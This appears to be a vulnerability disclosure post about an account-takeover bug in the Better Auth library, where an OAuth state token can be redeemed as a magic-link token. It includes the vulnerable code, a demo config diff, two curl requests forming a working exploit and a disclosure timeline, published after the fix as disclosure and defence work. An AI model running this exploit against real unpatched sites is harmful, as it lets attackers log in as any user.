V12 Found a Critical Bug in Better Auth

We reported a critical CVSS 9.1 bug in Better Auth that would allow a malicious attacker to authenticate as any account if both the OAuth and magic-link plugins were enabled with their default settings. This issue was fixed in Better Auth version 1.7.7. A CVE is currently still pending.

Introduction

Better Auth is an open source authentication library for TypeScript. It is currently one of the most popular open source authentication libraries and receives 9.5 million downloads per week on NPM and was recently acquired by Vercel.

Using a critical vulnerability we discovered, an attacker could authenticate as any user of their choosing.

The Bug

Better Auth stores magic-link tokens and OAuth state in the same verification table without purpose-specific prefixes. The magic-link flow consumes a row by token and trusts the stored email:

1
const storedToken = await storeToken(ctx, token);
2
const tokenValue =
3
  await ctx.context.internalAdapter.consumeVerificationValue(storedToken);
4
const { email, name } = JSON.parse(tokenValue.value);
5
const user = await ctx.context.internalAdapter.findUserByEmail(email);

The OAuth state is stored in the same keyspace using the raw state as its identifier:

1
await c.context.internalAdapter.createVerificationValue({
2
  value: JSON.stringify({ ...stateData, oauthState: state }),
3
  identifier: state,
4
  expiresAt,
5
});

The /sign-in/social endpoint, used to generate new social signing requests, accepts an arbitrary additionalData object, which is later spread into the stored OAuth state.

1
const stateData = {
2
  ...(options?.additionalData ? options.additionalData : {}),
3
  callbackURL,
4
  codeVerifier,
5
  // ...
6
};

An attacker can start a social sign in and include the victim’s email in additionalData. They can then take the returned OAuth state from the returned URL, and turn around and submit it to /magic-link/verify as a Magic-Link token.

This will make Magic-Link treat the OAuth state value as if it were a Magic-Link token and issue a session for the victim.

Exploitation

We chose to include the full exploit here, since our belief is that in the age of LLMs, actual malicious attackers can simply automatically generate the exploit from the patch, and giving a clear explanation here can be beneficial for defenders to write detections.

We’re assuming the Next.js auth example with a small patch to enable magic link:

1
diff --git a/demo/nextjs/lib/auth.ts b/demo/nextjs/lib/auth.ts
2
--- a/demo/nextjs/lib/auth.ts
3
+++ b/demo/nextjs/lib/auth.ts
4
@@ -18,6 +18,7 @@ import {
5
     deviceAuthorization,
6
     jwt,
7
     lastLoginMethod,
8
+    magicLink,
9
     multiSession,
10
     oAuthProxy,
11
     oneTap,
12
@@ -210,6 +211,13 @@ const authOptions = {
13
         },
14
     },
15
     plugins: [
16
+        magicLink({
17
+            async sendMagicLink({ email, url }) {
18
+                console.log(`[magic-link] ${email} -> ${url}`);
19
+            },
20
+        }),
21
         organization({
22
             async sendInvitationEmail(data) {
23
                 await sendEmail({

An attacker trying to forge a session for [email protected] needs to do the following steps:

First, generate a new GitHub auth request with additionalData:

curl -s -X POST http://localhost:3200/api/auth/sign-in/social \
  -H 'content-type: application/json' \
  -d '{"provider":"github","callbackURL":"/","disableRedirect":true,
       "additionalData":{"email":"[email protected]","name":"victim"}}'

The response contains an attacker-readable state token:

1
{
2
  "url": "https://github.com/login/oauth/authorize?...&state=6d8fAXTr4juhYjRcLY9EnROB4I4GqFAp&...",
3
  "redirect": false
4
}

The attacker then takes the token from the response and redeems it as a magic link token. This will return a new session, thus logging the attacker in:

curl -si 'http://localhost:3200/api/auth/magic-link/verify?token=6d8fAXTr4juhYjRcLY9EnROB4I4GqFAp'

Importantly, the third-party OAuth provider is never interacted with, as we only need to extract the token from the callback URL that we receive from Better Auth.

Disclosure Timeline

September 7, 2026: The bug was reported to Better Auth.

September 10, 2026: Initial (automated) triage.

September 24, 2026: The GHSA was accepted.

October 1, 2026: Better Auth 1.7.7 was released to address the vulnerabilities.

References

Github Security Advisory: https://github.com/better-auth/better-auth/security/advisories/GHSA-965c-763c-88jm